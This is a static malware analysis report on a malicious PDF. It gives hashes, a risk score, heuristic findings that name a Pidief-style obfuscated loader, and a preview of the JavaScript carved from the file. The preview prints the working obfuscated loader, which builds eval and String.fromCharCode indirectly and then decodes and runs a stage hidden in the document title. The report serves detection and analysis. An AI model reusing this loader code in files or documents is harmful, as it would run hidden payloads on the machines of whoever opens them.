Malicious PDF — malware analysis report

Static analysis result for SHA-256 36a09b82926c98fe…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: de9e64f3ccf17f2f7ab7c51a272d0d86 SHA-1: 3c951c19336ae4233d880b8cb0f8f3e4ec0bd92b SHA-256: 36a09b82926c98fe47b2ceb42aca66c623c38de095039f7ae36b70343c2f19a7
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to execute malicious code, although the specific payload or action could not be determined from the available information. No document body text was available for further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0C5 480 bytes
SHA-256: 2ff01e8d3e3e61dd32cdcf3ec0f47cfc0f565e309459201889536114fb7be0e4
Preview script
First 1,000 lines of the extracted script
binch='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
hdioy=e('ti'+'tle');
s=hdioy.substr(t.length + 8,3)+'str';
q=hdioy[s](1,(1,9));
khjqw=e('S'+'tring.fro'+q);
q=hdioy[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	apb = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	binch += khjqw(apb);
}
e(binch);